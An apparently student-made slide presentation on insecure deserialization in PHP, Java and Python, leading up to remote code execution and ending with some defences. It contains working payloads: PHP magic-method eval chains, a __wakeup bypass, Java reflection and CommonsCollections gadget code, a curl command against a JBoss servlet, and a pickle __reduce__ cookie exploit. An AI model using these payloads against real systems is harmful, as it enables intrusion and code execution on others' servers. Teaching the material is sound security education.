Why so serialize ?

From Deserialization to RCE

Group 7, Mercury, 10175101282

Batman: The Dark Knight

Concepts

Remote Code Execution

  • Code Execution
    • PHP
    • Python
    • Java
    • OS (e.g. cmd, powershell, sh)
  • Remote
    • via Internet

(De)Serialization

 --------                         --------
|        | ----  Serialize  ---> |        |
| Object |                       | Bytes  |
|        | <--- Deserialize ---- |        |
 --------                         --------

RFC 1014

Persistence

Transmission

Serialized Data in PHP

O:1:"A":2:{s:3:"one";i:1;s:3:"two";a:3:{i:0;s:5:"apple";i:1;s:4:"pear";i:2;s:6:"banana";}}
<?php

class A {
    public $one = 1;
    public $two = array('apple', 'pear', 'banana');
}

$b = new A();
echo serialize($b);

?>

Serialize Data in Java

import java.io.Serializable;  
  
class TestSerial implements Serializable {  
  
       public byte version = 100;  
  
       public byte count = 0;  
  
} 

Serialized Data in Java

AC ED 00 05 73 72 00 0A 53 65 72 69 61 6C 54 65  
  
73 74 A0 0C 34 00 FE B1 DD F9 02 00 02 42 00 05  
  
63 6F 75 6E 74 42 00 07 76 65 72 73 69 6F 6E 78  
  
70 00 64  

hex form:

Serialized Data in Python

>>> import pickle
>>> data = {'apple': 1, 'pear': 2, 'banana': 4}
>>> pickle.dumps(data)
b'\x80\x04\x95#\x00\x00\x00\x00\x00\x00\x00}\x94(\x8c\x05apple\x94K\x01\x8c\x04pear\x94K\x02\x8c\x06banana\x94K\x04u.'

Why Dangerous ?

PHP Deserialization

First attempt

<?php

class merc {
    var $test = '123';
}

$object = new merc();
$data = serialize($object);
$new_object = unserialize($data);

?>
O:4:"merc":1:{s:4:"test";s:3:"456";}

Magic Functions

  • __construct()
    • new Object()
    • unserialize() ×
  • __destruct()
  • __toString()
  • __call()
  • __wakeup()
  • ...

Why using magic ?

  • Call functions manually ×
  • Able to control
    • attributes ✔
    • member functions ×
  • Call other objects' member functions

Searching for evil functions

<?php
class merc {
    public $test;
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->goodbye();
    }
}

class L {
    function goodbye() {
        echo "Bye~";
    }
}

Searching for evil functions


class Evil {
    var $bye_message;
    function goodbye() {
        eval($this->bye_message);
    }
}

unserialize($_GET['test']);
http://url/?test=O:4:"merc":1:{s:4:"test";O:4:"Evil":1:{s:11:"bye_message";s:10:"phpinfo();";}}

eval() is evil !!!

Searching for evil functions

<?php

class merc {
    public $test;
    function __construct() {
        $this->test = new Evil();
    }
}

class Evil {
    var $bye_message = "phpinfo();";
}

$object = new merc();
echo serialize($object);

phpinfo()

With protection

<?php
class convent {
    var $warn = "No hacker.";
    
    function __destruct() {
        eval($this->warn);
    }
    
    function __wakeup() {
        foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
    }
}

unserialize($_POST[cmd]);

CVE-2016-7124

Bypassing __wakeup()

cmd=O:7:"convent":2:{s:4:"warn";s:10:"phpinfo();";}

PHP 5.x < 5.6.25, 7.x < 7.0.10

POP chain

Property-Oriented Programing

A::__destruct()
     |
      --> B::goodbye() --> safe
     |
      --> C::goodbye()
             |
              --> D::foo() × No such function!
                     |
                     v
                  D::__call()
                       |
                        --> E::bar() 
                               |
                                --> ... --> ✔ vulnerable!

Conclusion

$data not sanitized in unserialize($data)

Defending: Always sanitize $data !

(NOT enough)

Advanced Topics

  • POP chain
  • phar://
  • Session Deserialization
  • String Escape
  • Object Escape
  • SoapClient + Deserialization = SSRF
  • Exception + Deserialization = XSS

no need for unserialize() !

Java Deserialization

Interfaces & Methods

Interface java.io.Serializable
Serialize ObjectOutputStream::writeObject()
Deserialize ObjectOutputStream::readObject()

Ideal Scenario

public class Evil implements Serializable{
    public String cmd;
    
    private void readObject(java.io.ObjectInputStream stream) throws Exception {
    
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

Reflection

  • retrieve info of Class/Object dynamically 
  • java.lang.Class
  • ClassObject

Handy

Dangerous

Example

public class User {
    private String name;

    public User(String name) {
        this.name=name;
    }
    public void setName(String name) {
        this.name=name;
    }
    public String getName() {
        return name;
    }
}

Creating the ClassObject

Class.forName("reflection.User") // method 1

User.class                       // method 2

new User().getClass()            // method 3

Accessing Attributes

Class UserClass = Class.forName("reflection.User");

Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");

Field field = UserClass.getDeclaredField("name");
field.setAccessible(true);
field.set(user, "merc");

Accessing Methods

Class UserClass = Class.forName("reflection.User");

Constructor constructor = UserClass.getConstructor(String.class);
User user = (User) constructor.newInstance("mercury");

Method method = UserClass.getDeclaredMethod("setName", String.class);
method.invoke(user, "merc");

Executing Code

// java.lang.Runtime.getRuntime().exec("calc.exe");
Class runtimeClass = Class.forName("java.lang.Runtime");

// getRuntime() is static
Object runtime = runtimeClass.getMethod("getRuntime").invoke(null);
        
runtimeClass.getMethod("exec", String.class).invoke(runtime, "calc.exe");

Over-complicated ?

  • More choice in attacking
  • Easier to bypass restrictions

Blacklist: Runtime

java.lang.Runtime.getRuntime() ×

"getRu" + "ntime"

new String("Z2V0UnVudGltZQ==").Base64Decode()

Real Vulnerabilties

Websphere

Jboss

Weblogic

Spring

Jenkins

Struts

OpenNMS

Jackson

Fastjson

JMeter

Shiro

CVE-2017-7504

JBossMQ JMS <= 4.x

javac -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1.java
java -cp .:commons-collections-3.2.1.jar ExampleCommonsCollections1 "calc.exe"
curl http://ip:port/jbossmq-httpil/HTTPServerILServlet --data-binary @ExampleCommonsCollections1.ser

JavaDeserH2HC

commons-collections-3.2.1.jar

ExampleCommonsCollections1.java

vuln lib

exploit code

ExampleCommonsCollections1.ser

payload

Exploit with Reflection

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer(
        "getMethod",
        (new Class[] {String.class, Class[].class }),
        (new Object[] {"getRuntime", new Class[0] })
    ),
((Runtime)Runtime.class.getMethod("getRuntime", new Class[0]).invoke(null, new Object[0])).exec(cmd[]);

Exploit with Reflection

    new InvokerTransformer(
        "invoke",
        (new Class[] {Object.class, Object[].class}),
        (new Object[] {null, new Object[0]})
    ),
    new InvokerTransformer(
        "exec",
        new Class[] { String[].class },
        new Object[]{ cmd }
    )
};

Tools

marshalsec & ysoserial

POP chains

Locating Vulns

  • Source Code
    • Entrypoints
    • Libraries
    • implements Serializable
  • Network Traffic
    • AC ED 00 05  ==base64==> rO0AB
    • ​RMI / JMX

CommonsCollections

Entrypoints

ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream.fromXML
ObjectMapper.readValue
JSON.parseObject
...

Defending

  • Sanitize
  • Tools
  • Whitelisting

SerialKiller

contrast-rO0

Hooking resolveClass()

@Override
protected Class<?> resolveClass(ObjectStreamClass desc) {

    if (!desc.getName().equals(User.class.getName())) {
        throw new InvalidClassException(
            "Unauthorized unserialization attempt",
            desc.getName());
    }
    
    return super.resolveClass(desc);
}

Higher-level ?

Python Deserialization

Serialization Lib

third-party lib

pickle

 --------                            --------
|        | ---- pickle.dumps() ---> |        |
| Object |                          | Bytes  |
|        | <--- pickle.loads() ---- |        |
 --------                            --------

Scenarios

Redis

MongoDB

Memcached

pickle.loads(...)

Session

RCE

Back to Magic Functions

__reduce__()

PVM

I've never seen this class, how to (de)serialize it ?

It's easy, just:

(os.system, ('/bin/sh',))

Web Application

@app.route("/")
def index():
    try:
        user = base64.b64decode(request.cookies.get('user'))
        user = pickle.loads(user)
        username = user["username"]
    except:
        username = "Guest"
    return "Hello %s" % username

Exploit

import os
import pickle
import requests
import base64

class test(object):
    def __reduce__(self):
        return (os.system,('whoami',))
      
a = test()
payload = pickle.dumps(a)
cookies = dict(user=base64.b64encode(payload).decode('utf-8'))

response = requests.get("http://127.0.0.1:5000", cookies=cookies)

The rest ?

Advanced Topics

  • Serializing functions
  • PVM opcode
  • Bypassing whitelist
  • Unserializing other format e.g. JSON

Sandbox Escaping

DXP

Data eXchange Protocol

XML

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

JSON

{
  "name": "Tom",
  "Grade":1, 
  "age":11, 
  "gender": "M"
}

Data eXchange Protocol

Protobuf

Thrift

Hessian

......

Trend

  • Language-independent
  • faster
  • safer
  • less redundant info

Why safer?

{
  "name": "Tom",
  "Grade":1, 
  "age":11, 
  "gender": "M"
}

What is data is data.

Flexibility

1 / Security

Security Issues

XML

JSON

XXE / XMLDecoder

Jackson / Fastjson

Binary

Heap Overflow

Replace ?

Serialization

DXP

Application Level

Language Level

Conclusion

References

1. https://tools.ietf.org/html/rfc1014

2. https://juejin.im/post/6844903765921808397

3. https://www.iteye.com/blog/longdick-458557

4. https://python3-cookbook.readthedocs.io/zh_CN/latest/c05/p21_serializing_python_objects.html

5. https://www.k0rz3n.com/2018/11/19/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#1-%E6%A6%82%E5%BF%B5%E8%A7%A3%E9%87%8A%EF%BC%9A

6. https://xz.aliyun.com/t/7570

7. https://xz.aliyun.com/t/6787

8. https://xz.aliyun.com/t/2041

9. https://github.com/frohoff/ysoserial

10. https://github.com/mbechler/marshalsec

11. https://github.com/joaomatosf/JavaDeserH2HC

12. https://github.com/ikkisoft/SerialKiller

13. https://misakikata.github.io/2020/04/python-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#pickle

14. https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

15. http://hengyunabc.github.io/thinking-about-grpc-protobuf/

16. https://vulhub.org/#/environments/jboss/CVE-2017-7504/

Questions ?

Why So Serialize

By Mercury

Why So Serialize

From Unserialization to RCE

  • 336